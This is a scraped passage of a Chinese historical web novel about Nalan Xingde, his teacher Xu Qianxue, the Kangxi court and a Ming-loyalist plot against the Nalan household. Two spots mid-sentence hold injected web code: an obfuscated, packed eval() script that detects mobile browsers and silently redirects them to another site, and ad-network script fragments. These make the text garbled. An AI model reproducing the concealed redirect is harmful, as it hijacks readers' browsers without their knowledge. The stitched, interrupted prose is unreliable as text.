“宋公所言极是啊!”徐乾学一脸谦虚,“还望宋公再向徐某赐教。” “你现在能叫是纳兰性德的老师吗?” “天下……还是认的!” “古往今来,几时有过老师接‘太皇太后懿旨’和‘皇上口谕’,来为学生摆平麻烦事的呀?” “我徐乾学……就是个首例!” “废话!你直接说‘没有’不就完了?强调自己的名字做什么?!” 宋应星对眼前人一瞪。 “徐先生,你要抱着粉身碎骨的觉悟去到‘汉籍文人’和‘前明士人’当中——好好塑造纳兰公子的品格和形象,一点抱怨不得、一点马虎不得!” “我——”徐乾学单手紧紧地握住一个茶杯,“真恨不得……” “闭嘴!” 宋应星对徐乾学当头一喝: “你有什么资格跟太皇太后和皇上讨价还价?你落入今天的‘局面’,说白了就是:贵公子在暗地里向太皇太后和皇上讨的‘恩典’【注1】。你还不明白吗?” * “宋公,你在‘前明士人’当中影响力是最大的,不在暗处帮我可不行啊!” 徐乾学忽然往地上一跪,连基本的尊严都不要了。 “我给您跪下了,帮帮我啊……” 宋应星沉默良久,终于站了起来。 “徐乾学,你给我记着:如今你是在大清天子手下为官,天子的权威比行动所带来的后果重要,你想不丢官不丢人,就好好照着天子的意思去办事。” “那也得徐某能够办成事才行啊!”徐乾学恨道,“我这三寸不烂之舌,哪里比得上宋公你的威望?” “我现在是想出山助你一臂之力也出不得,因为我不想拿自己的行踪去冒险。”宋应星仰头看天,深吸了一口气,才水平直视着前方道,“你耽误了多少天了?还不快去完成孝庄和康熙下达的使命?” 徐乾学惊问:“宋公,我现在怎么去?” 宋应星板着脸,伸手往前一指,果决壮行道:“忘记你徐乾学是谁,本着纳兰性德的老师的身份去,这个理由够了吗?” “是!”徐乾学浑身一震。 * 打马回府取画作的时候,徐乾学使劲朝上空抽挥着鞭子,在偏僻的林间小道上大吼: ——纳兰性德,这回是我输了。 ——但是你等着,这件事之后,我定会漂漂亮亮地反将你一军,让你陷入泥潭无计可施。 【注1】 宋应星的推断正确: 1、容若暗示孝庄:“徐先生可以为我正名。” 见第61章 2、容若借老师李天馥之手,把《春无踪迹谁知》图拿给玄烨,暗示玄烨:“徐先生才是能够——追寻‘汉籍文人’和‘前明士人’两方踪迹,将我从难局之中脱出之人。” 见第62章。 64.第64章 明府在一片安静之中发出一声爆炸时,明珠惊的放下碗筷,大步走出了厅堂。 觉罗氏带着儿子们跟了出去,去往声响传过来的地方:渌水亭长廊尽头、容若和揆方书法作品:“平安纳福,兰玉齐芳”的立石处。【注1】 “老爷。”先一步到达现场和检查现场的管家道,“被炸碎了的是布景的假山,刻有长公子和三公子的书法作品的立石无事!” “好好给本官查清楚,是事件还是事故。” “是,老爷。” 明珠迅速冷静了下来,没有大作大骂:“大胆张岱信徒之辈,敢在我明府之内埋炸药!” 容若道:“金叔,你去把这事跟外头的统卫说,叫他去回了皇上:纳兰一家忠君报国之心不变,坚定地站在皇上身后,支持皇上的‘破汉制、满汉文化并重’之策。” “是,长公子。”管家应道,“奴才这就去去办。” “如今皇上要坏规矩和开新制,就跟习惯了拿我儿容若来当‘理由’一样。我明珠在朝务上兢兢业业,还要顾着皇上的面子来委屈自己的儿子,这叫什么事?” “老爷,为了纳兰家,”觉罗氏提醒,“您也要为后宫的惠儿多做考虑才是。” “如今我明府家事和我儿性命都朝夕难测,哪里有空去管惠儿的处境?”明珠走在渌水亭长廊内,“惠儿要是听闻了纳兰家的处境,应当反过来体谅我这个伯父才是。” “妾身听说,太皇太后圣寿将近的这些日子里,皇上都是去坤宁宫过夜的。” “夫人,以前本官认为惠儿应当彻底把容若忘了、一心一意对待皇上,现在却不同了。深宫寂寥,惠儿心中藏着一个人也好,不会把日子过成年。” 容若惊讶:“谢阿玛开明!” “阿玛说归说,容若,到底你和惠儿之间还是要守着宫规为妥。” “儿明白。” * 当夜,容若通宵未眠。 把多日积累的细纲汇总成了清晰明了的章纲,再章纲合为全书的大框架,做出了一份《渌水亭杂识》的目录来。 天外微微亮,容若托腮道:“编写经典《古抄本十二卷》枯燥,能有《渌水亭杂识》兼作游目骋怀之调味,我心朗然。” “袖云喜欢公子写的这句:诗至明远,而绚丽已极。公子始创的‘绚丽’一词与‘明远’相承相呼,湛妙。“ “你知道为什么写诗比填词难吗?”容若起身走出房间,“诗讲究格律,将流派和人的性情划分的太明显,我读唐诗佳作,但觉得翩跹,诗人的心何尝不多思?只是那份‘思’化作文字以后,就不似在心中酝酿时纯粹了。” 袖云跟在容若身侧,相伴走往渌水亭长廊尽头。 她问:“引经据典来让诗作的品味更上一层楼之事,不是人人都做吗?” 容若缓步向前,“随着诗稿增多,自然就能够摆脱那种状态。引经据典未必好,直抒胸臆未必就不好,不如折中,以词歌换诗篇。” 驻足在缺失了假山的“明府一景”面前,容若单手触摸着“平安纳福,兰玉齐芳”石刻,然后,单倚而思。 好久,他问侍女:“袖云,你说我有什么错?什么过?我跟皇上的关系是不是给阿玛添扰了?阿玛提起这层关系的时候,连额娘都没有正面回应、只拿了惠儿出来转移话题。” “不是应该反过来吗?”袖云温声道,“是老爷跟皇上的关系,让公子在皇上身边:陪臣不像陪臣,谋臣不像谋臣,倒成了皇上的知己。那种定义独特的:悦时相赞、怒时相杀、用时榨尽、惜时相投的知己。还不如曹寅曹子清,做伴读就是伴读,做玩伴就是玩伴,做侍卫就是侍卫。公子的苦楚和悲喜,袖云知道。” “父恩所在,君情所束。”容若不觉得石头冰凉,唯独一颗跳动的心如在冰原走过,“阿玛和皇上都能有私心,唯独我不能有。” “公子着了旭日初升前的凉意不好,不如回房吧?” “不回。只去看看明开夜合花。” “过后呢?” “坐在渌水亭里编书《古抄本十二卷》,顺便把国子监的功课完成。然后,让人以阿玛的名义给施琅大人送一篮樱桃,附上小笺:越鸟夸香荔,齐名亦未甘。南园无限树,独自叶如帏。”【注2】 “公子细心,只是施琅大人一介武将,可知小笺深意?” “施琅大人只需看懂表面意思即可:樱桃不甘心与被越鸟夸赞的荔枝齐名,然而南方树木众多,唯独难在枝繁叶茂的绿意之中觅得樱桃身影。” “林高树密,樱桃若不得‘明索两党’之一的庇佑,必将衔入鸟喙而遭食殆。”袖云问,“施琅大人真的能看清方向和做对选择吗?” “袖云你不能想着他现在就能看清、能选对。”容若站在明开夜合花旁侧,“我倒是觉得阿玛和索额图都错了。” “怎么说,公子?” “对施琅大人,阿玛的态度是背地里下赌注观望,索额图的做法是把人请去府上直面拉拢。”容若摇头,“施琅大人是有性子的武将不是文人啊,‘明索两党’哪能走极端?照我看,想要得到施琅大人的效忠之心,还得是以‘人情交往’为上。” “公子为什么不用自己的名义送?” “袖云你忘了?”容若笑问,“我出不了家门,我的名义的东西更出不了家门。” “那此事也要瞒着老爷吗?” “对,瞒着。能把一份人情留作施琅大人回福建前的感动就好。” 容若碰了碰明开夜合花的叶子。 忘却该忘的事情、放下该放的执念、搁浅该搁浅的想法,记住自己做为明珠之子的责任。 这样,就好。 ——宛卿你知道吗?我非常喜欢明开夜合。阶前双夜合,帘影叶影疏人影,花香沉香菩提香,共晴雨,共明晦。 ——《缒金丝·与卿见》,这个词牌名是我为宛卿你而创的,也是为明开夜合而创【注3】,只是第一曲却用在了鹅黄花(蜀葵)上。 我想,宛卿你能懂。 你若不懂,那就是我独自寂寞、自嚼心事入墨。 * 徐乾学到达集客之所“花鸟风月楼”时,果然见到了势焰嚣张、跃跃欲试杀了纳兰公子以平恨的前明士人们。 只身进入,除了手上的一卷《春无踪迹谁知》图和藏在靴内一把用作防身的匕首之外,徐乾学没带别的东西。 一位跑堂的把徐先生领到了众人面前,那一阵高过一阵的“不满声”和“行动声”才稍微有所回落。 “本官徐乾学,内阁大学士,‘天下第一大才子’纳兰性德的老师是也。” 徐乾学不怎么情愿地向众人行了拱手礼,表明自己也是汉人的立场后,道: “本官想,张公之书被禁之事,诸位对我朝皇帝的说法和对美玉似的纳兰公子有点误会。” 见眼前人一副官姿和官腔,前明士人们哪里能忍? 知纷纷指责道:什么叫做“我朝皇帝”?我等何时认可过满人统治天下!什么叫做“美玉似的”的公子?我等视他为当碎当摔之瓦片! 徐乾学只得在前明士人们的犀利目光和仇恨之言中改了口: “当今圣上兼容并包、海纳百川,不但拜汉人为师更是聘请了洋人老师,更有‘琉璃瓦似的’贵公子教授天文和算数,难道不该称为明君吗?” 徐乾学复强调:“本官的意思是,贵公子的本事不在于文武两道,更在于天体观测和测绘计数啊!所以你等勿要觉得贵公子抬举你等、把那些文绉绉的东西放在眼里。” “徐先生的意思,是我等走孔孟正道的文章,不入满族贵公子的眼吗?他纳兰性德能写汉诗、能填宋词、能写好字,但是他能说好汉话吗?如何能将一个生下来就说满语之人与我等相提并论?” 在士人张观可的骂声中,徐乾学才意识到: 自己呈了一时心情,说错了话,接下来再怎么着也不能贬低弟子纳兰性德了,不然真没法向太皇太后和皇上交差。 “张士人你说的是哪里话?” 徐乾学为自己的弟子开说: “爱徒容若声如天籁,满蒙汉三语都能表述的清清楚楚。” “我这个老师还私想着:容若日后定要娶了一个跟他有着一样的才情的汉家姑娘才好!就像是徐某的知交宋应星宋公的徒弟:沈宛宛姑娘,她跟容若就好是般配。” 此时的徐乾学,只是在信口胡说。 ——他不过是把沈宛当成了一个例子,完全不知道她跟容若真的在谈感情。 ——他亦是无法料想,在往后沈宛和容若的感情发展会何其曲折与艰难,真是应了容若那句:“天笑我嗔!” 众前明士人似乎没领宋应星的情面,又或者认为像徐乾学这样的朝廷走狗压根不配跟宋应星打交道,都在脸上露出了鄙夷之色。 士人何尊如道:“徐先生大可不必瞎操心别人的婚事,也大可不必搬出宋公来给自己增加份量。我等日日神不知鬼不觉地在明府有所行动,只怕是把纳兰明珠和纳兰性德父子的神经绷的够紧,夜不能寐,寐不能安。” “你们这些阴险狡诈之徒!”徐乾学终于到了反骂的机会,“真要是想取纳兰性德的命来为禁书之事出气,那就光明正大地去取,在明府偷偷摸摸地搞小动作算什么?这就是你们所谓的践行孔孟之道?真叫本官笑话!” 张观可问:“一个满族贵公子的一句话,就能让大清天子胡作非为,这能够以徐先生进场后开口就说的‘误会’来草率定论吗?” 徐乾学的脑子飞快一转,反问道:“爱徒容若才高盖世,就算是叫皇上禁了一本张岱的书,那其他前明大家的书数不胜数,他能叫皇上禁的过来吗?” “这……”张观可迟疑,“的确禁之不尽。” “所以你等不能怪他,不能打刺杀他的主意!”徐乾学一身正气,“年轻人,难免有些傲气,才会为了施展自己的抱负而做些说不过去的事。但是,你等看看张岱的对此事的态度,张公有煽动你等去报复纳兰公子吗?” 全场鸦雀无声。 徐乾学一笑,最起码自己已经让前明士人们对纳兰的态度有所动摇。 进一步说服他们彻底放弃行动,只是时间问题。 他大展卷轴于桌面,抱着“欣赏”的神色道: “本官手中恰好有爱徒容若的一幅画,此画立意之深奥、笔法之高超、布局之精妙,怕是无人能及啊!” “诸位要不一同来看看——” * 众前明士人围观于纳兰公子的画作《春无踪迹谁知》图四周。 徐乾学大声道:“本官以为,此卷颇有张岱先生之画风,可见爱徒容若是尊敬张岱先生的!” 这一牵强附会的言论,竟然惹得围观者们纷纷觉得有理: 张岱追求画境,多爱构思出一个个令人如置身于太虚之境的场景来,纳兰公子画作亦是虚无缥缈,不知春之何处、此处何处;张岱不爱勾勒线条,多取鲜丽流巧之笔落为工,纳兰公子画作亦是不见线条所描之物,只一渡烟波、一卷云海,黑白灰过度的正好;张岱成图讲究条理井然,能够在虚中探实、乱中观静、远中悟近,纳兰公子画作亦是层次分明,着墨为心,浓时不密、淡时不疏,笔之未到处已见所思。 何尊如用左手的折扇敲击着右手的掌心,大彻大悟,醒声道:“能成此画者,断断不会是张岱之敌人。禁书之事,莫非只是天子个人之独断,与纳兰性德无关?” 张观可指着画作的印章落款处,惊呼:“我本以为满族贵胄不通汉印,却不想纳兰性德之印章深得了精髓,非擅长刻工者所不能成。” “爱徒容若的刻工,岂是你等可以一较高低或是妄自评价的?”徐乾学一副以学生为傲的姿态,“容若能把蜡烛雕刻成玉佩,惹的康熙皇帝大喜,就差把自己的龙佩送给他了,这恩典说明什么?说明皇上把容若当自己人,想怎么样就怎么样。” 众人都叫徐先生快说,康熙皇帝究竟想怎么样? “本官的意思的是:诸位切勿被表象迷惑了眼睛,爱徒容若是冤枉的!” 众人再问徐先生,这话又将从何说起? 徐乾学一叹,“直到方才为之,本官都以为爱徒容若是个:为了成就一己之名,会不折手段打压他人之名的自私之辈。当下却是恍然大悟:画心见人心,画品见人品,爱徒容若没有叫皇上禁书于张岱先生,张岱先生也没有发动自己背后的支持者们加害我徒容若。” 坚定地向前迈了一步,徐乾学一正衣冠,浩然正气道: “采取禁书行动的始作俑者是康熙皇帝本人,有所行动搅得明珠府邸不得安宁、后续想要直取纳兰性德之命的是尔等士人们。纳兰性德和张岱皆是怀屈抱冤,成了康熙皇帝和尔等士人们‘搞事情’的垫脚石!” 前明士人们交头接耳。 好一会儿,才有张观可站出来道:“我等要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744443|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是误入康熙皇帝所设的圈套,又犯下刺杀纳兰性德的大罪,岂非成了历史罪人?” “是啊!” 徐乾学对众人摆理儿道: “现在皇上要揪出和镇压的,就是屡屡拿起笔来做武器,写出反动的文字来跟大清做对之人,说白了就是你等!” “纳兰公子现在为天下人所惜,你等要是对他犯下杀戮,付出的代价岂止是‘成了历史罪人’这么简单?那可是‘你等全员’和‘半壁乃至世间的前明士人们’,一同给贵公子陪葬啊!!” 何尊如当机立断对众人道:“康熙皇帝禁张岱作品《夜航船》之事,何某以为,我们不能再发泄到纳兰公子身上了。” 士人甲道:“不错,不能中了天子的圈套,为此了却自己的性命,不值得!” 士人乙道:“是该作罢。还是张岱先生看得明白,至始至终没有过正面回应和拉拢势力反抗。” 士人丙道:“今日徐先生所说之言,其中几句大家还是得听啊!” 何尊如代表场内的士人道:“徐先生,我们不会再做替张岱出头之事了。” 徐乾学心中大喜,这一趟的目的终于达成。 他从怀中拿出了一本草绿色外观的长方形本子,道: “口说无凭,请诸位在此折子上签下名字,本官好给太皇太后和皇上一个交代。” “签字画押?”众士人大怒,“徐先生是把我等当作罪犯了吗?” “徐某本意并非如此。”徐乾学主动研起墨来,“凡事总要有个确数才能给太皇太后和皇上回话,光是带着口头之言……呵呵,这差事办了跟没办无别。” 张观可和何尊如最先拿笔签名,看到两位“领袖”打了头阵,其余士人才纷纷效仿而为。 等到收集众人的签名完毕,徐乾学大叫了一声:“好!” 随后,他拿出了自己的印鉴,往上面一盖,道:“本官也毫不含糊,当着尔等的面把自己的章盖上,表示:今日劝说之事的确是本官所参与所主导,一切如实上报。” “徐先生。”张观可追问道,“我等对明珠府邸搞过的小动作,是否也既往不咎?” “明府不是本官的家。”徐乾学把重要的折子往怀中一放,“明珠父子是选择宽恕还是论罪,本官一概不知不猜。” 何尊如问:“他们父子查的出来吗?” “那你们得自问啊!”徐乾学目光横扫众人,“坏事你们干的,有所为就要敢于承担一切后果!别指望本官会给你们说情。” 张观可道:“照我看,今日大家就到此为止,散了吧!” 众士人响应:“好。” 徐乾学卷起了《春无踪迹谁知》图,执卷在手,道:“本官告辞。” * 徐乾学策马到离明珠府邸一百米处。 “吁——” 他半身后仰,勒住了缰绳。 春景和朗,有莺歌于墙头瓦上,竟不知道里面的人如何? 天高云淡,唯见前路板砖绵长,往前亦是徒做无用之功。 徐乾学从马背上跳了下来,长长地抒出一口气来,爱恨交加,彻底打消了把《春无踪迹谁知》图归还容若的念头。 ——纳兰啊纳兰,想想你拜师初日,一口一句“吾师”叫的真是“情真意切”啊!本官岂能料到自己也有今日,在众人面前一口一句地称你为“爱徒”,就跟是你真的很讨本官喜欢一样。 ——本官与你,不是孔子与颜回。本官叫你“爱徒”的时候,就像是在向“吾师”二字还债一样,此中心情你可知晓? 只恨。 只恨你我在众人面前、在国子监里、在本官藏书楼中,处处相敬如宾,关系和谐的让外人挑不出一点毛病来。 你在约定的日子里来本官府上虚心求学,勤勉好问,处之如清风;本官待你温和细致,倾囊相授,几乎是等同于教子。 ——你我是不是担得起“大清第一师徒”的美誉? ——你我是不是为天下人所羡的“名师出高徒,高徒赛名师”实例? 真好啊!啧啧,真好啊! 我徐乾学对纳兰性德衣钵相传,纳兰性德对徐乾学敬亲如父,一同在历史长河中刻下浓墨重彩的一笔,正面的一笔。史册是何等期待让这样的佳话流芳千古,史官是多么愿意让这样美谈在青史着墨? 兴上心头,徐乾学作诗一首: 程门立雪犹可贵,不及容若冰清愿。 舍生忘死健庵愧,唯恐美玉海粟眷。 琥珀未凝珠入蚌,不尽千言删繁简。 休将青卷写经解,三生共结业火缘。 【注4】 “前程后路,你如一粟入沧海,不知所往、无处可寻。”徐乾学仰天而问,“纳兰公子,你说是吗?” “不是。” 好似幻觉一般的回应声,把徐乾学吓了一跳。 可是仔细观察四周和看向明府的正大门,分明没有贵公子的身影! 【注1】平安纳福,兰玉齐芳。容若和揆方的“石刻书法作品”的诞生经过,见第41章。 【注2】出自李商隐《樱桃诗·嘲樱桃》,“嘲”做“自嘲青云之路难料”解,并非“讽刺水果”之意。 【注3】缒金丝,纳兰容若词牌名。明开夜合,花形如团扇、扇柄“缒”络,花感似“金丝”绒。 【注4】 1、第一联:学生尊敬老师虽然可贵,但关键是学生是谁、抱着什么目的拜师。冰清愿:容若对待学问的态度和为人品格可称为“冰清”,但是他的“愿”,即他的目的和所求,只有徐乾学清楚。反之,徐乾学为什么“愿”为老师,也只有容若明白。 2、第二联:徐乾学这次被迫扮演为容若正名和解除危机的角色,他心中实际有愧,只是遵从孝庄和康熙的命令行事,怕容若真成沧海一粟、性命不受眷顾。健庵:徐乾学的号。 3、第三联:容若凡事求周全,凡策求言简意赅,在徐乾学看来是不现实的。琥珀未凝:永恒温润、遗憾善念换的未成就之愿;珠入蚌:成全别人、劳苦自己,渴望收获似珍珠圆满的结局。 4、第四联:编书修书历时长且负担重,师徒两人在日后共成《通志堂经解》,却上演了一场“一方算计、一方破局”的名场面,震惊康熙皇帝和天下,即:主作者署名之谜。青卷:指容若著述总称。业火缘:缘起缘灭,皆难消无名业火,业火指烦恼和难以消忿的情绪反应。 65.第65章 半夜。寝殿。 玄烨从赫舍里皇后身边坐了起来。 离开坤宁宫这样坏了规矩的事情,在皇阿奶孝庄圣寿到来前自然是不能做;强行让自己再睡,却也是憋闷了心情,无益身神。 赫舍里醒来,多少猜到了玄烨的心思,道:“皇上,您如果想去别处的话就去吧,只让顾总管跟着,不跟别人说就好。臣妾也不会说出去的。” “朕哪也不去。”玄烨笑着看赫舍里,“皇后放心,躺在朕身边继续安睡就是。” “臣妾想为皇上分担心事,如果皇上愿意,臣妾就做个听众。”赫舍里看着玄烨的侧脸,“不管皇上说什么,臣妾都只做唯一的听众,不把话题外扬。” “好,皇后。” 玄烨点头,然后揽过赫舍里的腰,让她靠在他的肩膀上。 “朕心中的蓝图,展开的速度总是比眼前实际的版图要快。”玄烨希望赫舍里跟自己同看江山,“朕派去明府的统卫来给朕回了话,也给朕带来了《渌水亭杂识》的部分样章。” “跟皇上的宏图大志相关的样章吗?”赫舍里神色欣喜,为玄烨高兴,“这是好事呀,皇上!” “是啊,是好事。”玄烨振奋道,“朕想撤藩,苦于平藩之以谁大将妥当。刚好就从《渌水亭杂识》的样章中受到了启发。” 玄烨向赫舍里皇后说起了自己感悟。 在他看来,纳兰的脑子里装着无数古往今来的战策与战案,像纳兰这样才华不拘束于写华丽词歌的人,当个军师也绰绰有余:分析战乱起因、总结经验教训、提出反思之论。这三重路子讲述下来,为君献计,忠心可鉴。 “朕如今才想明白,为何削藩之事要不得一腔热血。《渌水亭杂识》样章里面说【注1】,围剿李克用失败,几乎成了大唐走向亡国之路的致命一击,以至于唐昭宗沦落为藩镇的玩物,彻底丧失了作为皇帝的威严和尊严。朕不能重蹈唐昭宗的覆辙啊!” 赫舍里皇后感悟道:“这里面是不是也寄托着一种愿望:为臣者,尽之能为国;为君者,近贤臣远小人以报。君臣合力,方能工程一事。” “是啊!”玄烨赞许嫡妻,“皇后能够这么想,朕很是欣慰。” “臣妾相信,朝中一定能够找出可担削藩大任之人,请皇上:用人不疑,疑人不用。” “削藩的过程远比朕想象的惊险,王朝命悬一线的危机感远比朕想象的真切,朕……想去皇阿奶面前请罪。皇后可愿意陪同朕一起?” “臣妾愿意。” “皇上在臣妾面前提公子的名字也没关系的。”赫舍里识大体,“臣妾没有把公子视为——分夺了皇上的爱的人。” “赫舍里,朕有你这样的贤后、有纳兰的贤臣,怎能不当一个好皇帝?” “臣妾看好皇上。”赫舍里向丈夫投去了深深的、信任的目光,“康熙皇帝必将是千古一帝、英名永存。” * 风动帘幔,花送清香。 纳兰父子坐在藏书阁“穴砚斋”内,讨论些书作之事。 明珠认真阅览了容若写的《渌水亭杂识》纲领,覆盖面包括: 容若自身极爱的天文和历算、深谙的佛学与文学、细致的考证和陈据、多元的地理述论、严谨的历史编修等。 明珠忽然发现了不对劲的地方,遂问:“为何唯独没有涉及音乐?” 容若答:“不擅长,亦少知音。” 明珠倒也没有刻意强调“音乐”对“谈资之书”的重要性,而是旁敲道:“阿玛给你个新思路,看看《诗经》,里面能给你乐理灵感。” 容若乖答:“好,儿听阿玛的。” 接下来,明珠翻看了几篇样章,大惊问:“你……你的《渌水亭杂识》不会是为皇上而写的吧?” “既然《渌水亭杂识》是‘谈资’和‘通识’之书,那就肯定是上至天子、下至百姓,人人可阅。”容若转而承认,“只是其中部分内容,儿的确是专门写给皇上看的。” 明珠斩钉截铁道:“删了!” “皇上看过了。统卫去向皇上回禀明府爆炸之事的同时,也是带着儿的样章去的。” 明珠站了起来,指着容若:“你可是要气死阿玛……!” * 数日后。 朝堂之上,康熙皇帝威严道:“朕这个年纪,没资格‘励精图治’这四个字,但是近来‘前明士人’多动静,朕不得不反思自身的文治方面做得不够好啊!” 索额图道:“皇上,奇书异书当烧当禁,您不可偏听偏信侧臣之言,而应自行根据数目和内容来做决定才是。三月之后,再过夏季,便是秋考,臣记起了顺治朝‘吴兆骞交白卷’一事,不得不先行进谏:诸多极负盛名的汉人学子,都是无真才实学之辈,他们那些小聪明,一到考场上就会暴露无遗!康熙朝不可再度上演类似之事。” 康熙道:“先帝仁慈,未将涉事考生统统斩立决或是行绞刑、只将吴兆骞等人流放宁古塔,已经是最妥当之举。要是在朕的江山下,秋考也好,往后的各场大考也罢,层层‘选拔’上来的汉人经不起考验,那就不能怪朕对他们不客气。” “皇上英明。”索额图行礼道,“科考是天下的科考,不是汉人们的主场,一些不知好歹的汉人——该杀就杀,该流放就流放,丝毫不能给他们留情面。” 康熙从宝座上站起,抒发自己的心志道:“朕认为,长久以来汉人汉制占据我大清学海的风气,是该破了!” 索额图冷看了明珠一眼,好似在问:徐乾学才刚刚说服了前明士人们留你儿子一命,可是你儿子想干什么?得寸进尺教唆皇上改学海风气? 李光地跪地进谏:“臣冒死把心里话说给皇上听:汉制可以破,但是事关‘学海学风’的汉制不能破啊!破汉制不是只有‘逆汉学而走’这一条路呀!” “朕从李天馥李大人口中听禀了国子监最新一期诸生开学至今的情况,也抽看了一些功课,全都是八股文章。这说明什么?上至大儒先生、下至听讲诸生,都怕走一条新路!” 康熙指着文武百官,冷声问:“要是朕在众臣工们面前提出‘西洋’二字,在破汉制的基础上,让国子监率先教授西方先进学科,众臣工是不是认为朕不是个圣君?” 辜鸿玳站出来道:“敢问皇上,天文算术,学有何用?洋装洋酒,几人能够消受?洋书洋术,几人能够看懂?我大清与洋国距离甚远,要洋人的东西来做什么,长洋人威风吗?” 康熙仰天一笑,臣子的反应在预料之中。 “八股之风禁锢诸生的思想和远见,你们这些人认为不能破;西洋之风挑衅大清的国本和国情,你们这些人害怕朕去破。长此以往,国家一成不变,谈何壮大疆域与千秋万代?” “皇上所言差矣!”索额图指着身边的明珠道,“臣听闻明珠大人的长公子全天下只有徐乾学徐大人敢教,但是他不满足于此,颇是爱自编自演天文算术题,不知道皇上是不是因为长公子而……” “索大人,你的意思是我儿容若让皇上亲洋学亲洋术?”明珠一甩袖,“你置皇上帝师南怀仁的脸面于何地?” “皇上个人的学习趣味,自然是不归你我二人管。”索额图怼了上去,“但是皇上把贵公子的研究方向往国子监普及、作为禁书之后的第二个切入点来破汉制,实在是为朝纲所难容!” “你跟皇上论朝纲?”明珠一挑眉,“臣以为皇上要破汉制,第一步第二步都是经过深思熟虑的,没有任何败坏朝纲之处。” “明珠你用心险恶!” 索额图一转身,冲众位大人们道: “明珠之子、康熙皇帝身边的陪臣纳兰性德挑唆满汉关系,罪不容诛!要是再纵容下去,‘禁书’和‘崇洋’之后,本官无法想象纳兰性德还会给皇上的‘破汉制’之路再给出什么馊主意来……列位同僚,你们可要跟本官一起劝劝皇上啊。” 面对明索两党之争,康熙皇帝言简意赅地说出一句话来:“一些汉制,要破;一些满人,要重用!” 满朝文武不敢顺从了索额图的意思来口出劝言,而是竖起了耳朵来听皇上接下来要说的话。 “朕之所以要在严肃对待一些汉制的同时,重用满人,一来是因为朕没有忘本,二来是朕已经意识到了,近来的官僚选拔和诸事行例,都是用的汉臣居多,长此以往,吏治必将往汉臣那边倒,不利于江山的统治。” “朕决定:为有功劳有建树的满人抬旗、恩赏安分守己的满人外戚、调增满人史官人数、特设八旗子弟武科。” 满朝文武愕然,没有一人敢出一句声。 只有明珠向康熙皇帝做出了正面回应: “臣明珠作为满臣表率,必将以身作则,坚定支持皇上的重用满人之策。我儿容若作为满人子弟,必将亲躬力行、兼修文武两道,垂范年轻之辈。” “好!”康熙皇帝,“朕需要的就是像你们这样的满臣父子,朝中要多几对像你们父子这样的忠臣才好。” 索额图却是扫了康熙的兴,“皇上,您不能被纳兰父子牵着鼻子走啊!轻汉重满,罚汉赏满,惹的天下大乱,可是会闯大祸的呀!” 康熙指着索额图气道:“现在是什么时候?孟夏三月,是汉人读书人们反逆情绪最强之际,一棋不慎,就容易引来大变,那可是危关我大清江山安稳和朕的文治大略的啊!索额图你作为满人,还敢因为党争而与朕唱反调、处处反驳明珠,真是太失为臣之道了。” 明珠忠耿道:“天子受命于天,奉天道而行。我等为臣者,应顺应天子策略和出衬天子气度,不可各怀心事,各行其是。” 康熙皇帝在明珠的话语中找到了底气。 “众臣工听朕意:破汉制,关键不是制度而是里面的汉人,他们的思想和行动,才是朕想‘破’的关键。重满人,朕不是刻意厚爱和抬举自己的根源宗亲,而是为了大清!都听明白了吗?” “臣等明白。” “退朝。” * 夜间。明府。 明珠一家人坐在花园的亭台内吃小火锅时,管家有要事来报。 “启禀老爷,投暗器刺杀长公子和埋藏炸药炸毁渌水亭尽头假山的犯人查到了,手法也查清楚了。” “说——” 明珠放下盛着牛肉的小漏勺,交叉着双手听管家的回话。 管家直奔要点:“是时常在‘花鸟风月楼’聚集的‘前明士人们’所为。” 明珠问:“他们是听命于张岱?还是自发行动?” “老爷,‘花鸟风月楼’的跑堂作证说,那日徐乾学前去说服那些士人们放弃刺杀长公子的念头时,他们当着徐乾学的面:自己说出了对明府所犯下的罪行,而且到最后,还带着半嘲讽的调子,说明府查不出作案手法来。” “赏了那个跑堂银子吗?” “赏了能够保证他下半生无忧的银子,也责令他离开京师永远不许再回来了。” “那就好。”明珠一点头,“继续说,什么作案手法?” “投射飞镖暗器的,是见不得光的帮派之人所为,受了一个名叫‘何尊如’的士人雇佣;利用特技使得明府假山炸裂的,是另一个名叫‘张观可’的士人所为。” 容若淡问了一句:“说具体。” “是。”管家应道,“那些前明士人们看似手无缚鸡之力、只会舞文弄墨,实则武艺高超。” “所以何尊如秘密探得明府布局之后,精准算计得暗器的投射路线、以及长公子的位移:画桌前的站位、书桌前的座位、小窗边的倚位、软榻上的歇位,才吩咐了见不得光的组织的人去行动。幸好长公子得上天庇佑,没有被暗器所伤。” “而假山的爆炸事件,则是张观可在四周偷偷撒了磷粉,春来回暖,气温升高,导致其自燃,才使得家中庞大的假山也尽毁啊!” 容若言简意赅道:“阿玛,金叔的意思是:前明士人们,非你我父子想象的简单。他们有勾结地下组织之嫌,且身份深藏不露不止是一个文人。” 明珠心想:敢在我府上搞这些动作,何张二人自己找死可怪不得本官! 管家问:“请了老爷的意思,那些士人们该当如何处置?” “哪那么多请示?”明珠冷酷无情道,“他们想要的是我儿容若的命。那些士人,一个不能放过,都以‘卖文谋逆、以下犯上、刺杀朝臣’这三大罪杀了就是。” 管家似乎没有想到老爷是这种反应,直接就愣在原地了。 熟记官僚职责的小揆叙道:“那些人归提督学政管,阿玛您不能跨职把他们办了啊!” 明珠毫不让步:“办了就办了,我明珠现在还掌管着刑部呢。” “可是……”小揆叙看向容若,“长兄,阿玛这么做,提督学政那边不好交待吧?” 不等容若说什么,明珠就官气凛然道:“本官办几个人还要向提督学政交待?真是笑话!” 觉罗氏问容若:“儿啊,你阿玛要这么做,你有什么想法?” 在两个弟弟惊讶的目光中,容若回应了一句:“一切都听阿玛的。” 明珠这才觉得顺了气,道:“这回本官要是纵容了那些人,就是没把纳兰家的尊严放在心上!” 管家立刻领了命,“奴才这就去办——” “记得让那些人死的明白一些。”明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 珠强调,“敢伤害我的容若,他们就得死!连鳌拜也逃不过这样的宿命。” 